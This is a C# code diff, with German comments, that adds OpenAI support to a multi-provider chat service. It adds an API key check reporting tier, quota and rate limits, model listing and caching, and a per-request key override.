if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|
||||
if (models.Any(m => m.StartsWith("gpt-5", StringComparison.OrdinalIgnoreCase)
|
||||
|| m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|
||||
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
|
||||
plan = "Tier 5+";
|
||||
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
|
||||
@@ -93,8 +98,31 @@ namespace Gott.Services
|
||||
else
|
||||
plan = "Free";
|
||||
|
||||
// Schritt 2: Echten Chat-Call mit max_tokens=1 um Quota zu prüfen
|
||||
// /v1/models gibt 200 auch bei quota_exceeded Keys!
|
||||
var usable = await CheckQuotaAsync(client, apiKey);
|
||||
|
||||
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
|
||||
if (rpm.HasValue) msg += " · " + rpm.Value + " RPM";
|
||||
|
||||
// Rate-Limits aus dem Chat-Call-Header (falls verfügbar)
|
||||
if (usable.Rpm.HasValue) msg += " · " + usable.Rpm.Value + " RPM";
|
||||
if (usable.Tpm.HasValue) msg += " · " + usable.Tpm.Value + " TPM";
|
||||
|
||||
if (!usable.HasQuota)
|
||||
{
|
||||
var reason = usable.QuotaError == "billing_not_active"
|
||||
? "Billing inaktiv"
|
||||
: "Kein Guthaben";
|
||||
return new OpenAiCheckResult
|
||||
{
|
||||
Status = "quota_exceeded",
|
||||
Message = "⚠️ " + msg + " · " + reason,
|
||||
Organization = org,
|
||||
Models = models,
|
||||
RateLimitRpm = usable.Rpm,
|
||||
RateLimitTpm = usable.Tpm
|
||||
};
|
||||
}
|
||||
|
||||
return new OpenAiCheckResult
|
||||
{
|
||||
@@ -102,8 +130,8 @@ namespace Gott.Services
|
||||
Message = msg,
|
||||
Organization = org,
|
||||
Models = models,
|
||||
RateLimitRpm = rpm,
|
||||
RateLimitTpm = tpm
|
||||
RateLimitRpm = usable.Rpm,
|
||||
RateLimitTpm = usable.Tpm
|
||||
};
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -111,5 +139,68 @@ namespace Gott.Services
|
||||
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
|
||||
}
|
||||
}
|
||||
|
||||
private class QuotaResult
|
||||
{
|
||||
public bool HasQuota { get; set; }
|
||||
public string QuotaError { get; set; }
|
||||
public int? Rpm { get; set; }
|
||||
public int? Tpm { get; set; }
|
||||
}
|
||||
|
||||
private static async Task<QuotaResult> CheckQuotaAsync(HttpClient client, string apiKey)
|
||||
{
|
||||
try
|
||||
{
|
||||
var chatReq = new HttpRequestMessage(HttpMethod.Post, "https://api.openai.com/v1/chat/completions");
|
||||
chatReq.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||
chatReq.Content = new StringContent(
|
||||
"{\"model\":\"gpt-4o-mini\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}],\"max_tokens\":1}",
|
||||
System.Text.Encoding.UTF8, "application/json");
|
||||
|
||||
var chatResp = await client.SendAsync(chatReq);
|
||||
var chatStatus = (int)chatResp.StatusCode;
|
||||
|
||||
int? rpm = null;
|
||||
int? tpm = null;
|
||||
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
|
||||
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
|
||||
rpm = rpmVal;
|
||||
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
|
||||
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
|
||||
tpm = tpmVal;
|
||||
|
||||
if (chatStatus == 429)
|
||||
{
|
||||
try
|
||||
{
|
||||
var errBody = await chatResp.Content.ReadAsStringAsync();
|
||||
var errDoc = JsonDocument.Parse(errBody);
|
||||
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
|
||||
&& errObj.TryGetProperty("code", out var codeProp)
|
||||
)
|
||||
{
|
||||
var code = codeProp.GetString();
|
||||
if (code == "insufficient_quota" || code == "billing_not_active")
|
||||
{
|
||||
return new QuotaResult { HasQuota = false, QuotaError = code, Rpm = rpm, Tpm = tpm };
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
|
||||
return new QuotaResult { HasQuota = true, Rpm = rpm, Tpm = tpm };
|
||||
}
|
||||
|
||||
// 200 = funktioniert, alles andere = vermutlich trotzdem nutzbar
|
||||
return new QuotaResult { HasQuota = chatStatus < 400, Rpm = rpm, Tpm = tpm };
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Bei Netzwerkfehler etc. → optimistisch annehmen
|
||||
return new QuotaResult { HasQuota = true };
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text;
|
||||
@@ -24,7 +25,7 @@ public class OpenAiService
|
||||
private readonly ToolService _toolService;
|
||||
|
||||
// Provider-Keys (statisch für ChatService.ResolveModelId)
|
||||
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini" };
|
||||
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini", "openai" };
|
||||
|
||||
// Provider-Definitionen (inkl. API-Keys, instanzgebunden)
|
||||
private readonly Dictionary<string, (string BaseUrl, string ApiKey)> Providers;
|
||||
@@ -152,6 +153,7 @@ public class OpenAiService
|
||||
private List<ProviderModel> _nvidiaModels = new List<ProviderModel>();
|
||||
private List<ProviderModel> _pollinationsModels = new List<ProviderModel>();
|
||||
private List<ProviderModel> _geminiModels = new List<ProviderModel>();
|
||||
private List<ProviderModel> _openaiModels = new List<ProviderModel>();
|
||||
private readonly string _cacheFile;
|
||||
|
||||
public OpenAiService(IHttpClientFactory httpFactory, DatabaseService db, ToolService toolService, Microsoft.Extensions.Configuration.IConfiguration configuration, string dataDir)
|
||||
@@ -162,9 +164,10 @@ public class OpenAiService
|
||||
_cacheFile = Path.Combine(dataDir, "models_cache.json");
|
||||
Providers = new Dictionary<string, (string BaseUrl, string ApiKey)>
|
||||
{
|
||||
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
|
||||
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
|
||||
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? "")
|
||||
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
|
||||
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
|
||||
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? ""),
|
||||
["openai"] = ("https://api.openai.com/v1", "") // Key kommt dynamisch aus DB
|
||||
};
|
||||
}
|
||||
|
||||
@@ -184,7 +187,8 @@ public class OpenAiService
|
||||
_nvidiaModels = cache.ContainsKey("nvidia") ? cache["nvidia"] : new List<ProviderModel>();
|
||||
_pollinationsModels = cache.ContainsKey("pollinations") ? cache["pollinations"] : new List<ProviderModel>();
|
||||
_geminiModels = cache.ContainsKey("gemini") ? cache["gemini"] : new List<ProviderModel>();
|
||||
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini");
|
||||
_openaiModels = cache.ContainsKey("openai") ? cache["openai"] : new List<ProviderModel>();
|
||||
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini, {_openaiModels.Count} OpenAI");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -211,6 +215,21 @@ public class OpenAiService
|
||||
else
|
||||
Console.WriteLine("[OpenAiService] GeminiApiKey nicht konfiguriert – Gemini-Modelle nicht geladen.");
|
||||
|
||||
// OpenAI: Key aus DB holen (erster aktiver OpenAI-Key)
|
||||
var openaiKey = await _db.GetFirstActiveKeyByProvider("openai");
|
||||
if (!string.IsNullOrEmpty(openaiKey))
|
||||
{
|
||||
var allOpenAi = await FetchModels("https://api.openai.com/v1/models", "OpenAI", openaiKey);
|
||||
// Nur Chat-Modelle filtern (gpt-*, o1-*, o3-*, o4-*, chatgpt-*)
|
||||
_openaiModels = allOpenAi
|
||||
.Where(m => m.Id.StartsWith("gpt-") || m.Id.StartsWith("o1-") || m.Id.StartsWith("o3-") || m.Id.StartsWith("o4-") || m.Id.StartsWith("chatgpt-"))
|
||||
.OrderBy(m => m.Id)
|
||||
.ToList();
|
||||
Console.WriteLine($"[OpenAiService] {_openaiModels.Count} OpenAI Chat-Modelle gefiltert (von {allOpenAi.Count} total).");
|
||||
}
|
||||
else
|
||||
Console.WriteLine("[OpenAiService] Kein aktiver OpenAI API-Key in DB – OpenAI-Modelle nicht geladen.");
|
||||
|
||||
// Cache speichern
|
||||
try
|
||||
{
|
||||
@@ -218,7 +237,8 @@ public class OpenAiService
|
||||
{
|
||||
["nvidia"] = _nvidiaModels,
|
||||
["pollinations"] = _pollinationsModels,
|
||||
["gemini"] = _geminiModels
|
||||
["gemini"] = _geminiModels,
|
||||
["openai"] = _openaiModels
|
||||
};
|
||||
var json = JsonSerializer.Serialize(cache, new JsonSerializerOptions { WriteIndented = true });
|
||||
await File.WriteAllTextAsync(_cacheFile, json);
|
||||
@@ -276,6 +296,7 @@ public class OpenAiService
|
||||
public List<ProviderModel> GetNvidiaModels() => _nvidiaModels;
|
||||
public List<ProviderModel> GetPollinationsModels() => _pollinationsModels;
|
||||
public List<ProviderModel> GetGeminiModels() => _geminiModels;
|
||||
public List<ProviderModel> GetOpenAiModels() => _openaiModels;
|
||||
|
||||
/// <summary>
|
||||
/// Gibt den Provider und das eigentliche Modell-ID aus einem kombinierten Model-String zurück.
|
||||
@@ -308,6 +329,7 @@ public class OpenAiService
|
||||
string sessionId = null,
|
||||
string agentId = null,
|
||||
int maxIterations = 10,
|
||||
string apiKeyOverride = null,
|
||||
CancellationToken workCt = default,
|
||||
CancellationToken sseCt = default)
|
||||
{
|
||||
@@ -337,6 +359,10 @@ public class OpenAiService
|
||||
return;
|
||||
}
|
||||
|
||||
// API-Key Override: User-Key aus DB hat Vorrang vor hardcoded Provider-Key
|
||||
if (!string.IsNullOrEmpty(apiKeyOverride))
|
||||
providerConfig = (providerConfig.BaseUrl, apiKeyOverride);
|
||||
|
||||
try
|
||||
{
|
||||
// OpenAI-kompatibles Messages-Format aufbauen
|
||||
|
||||
Reference in new issue
Block a user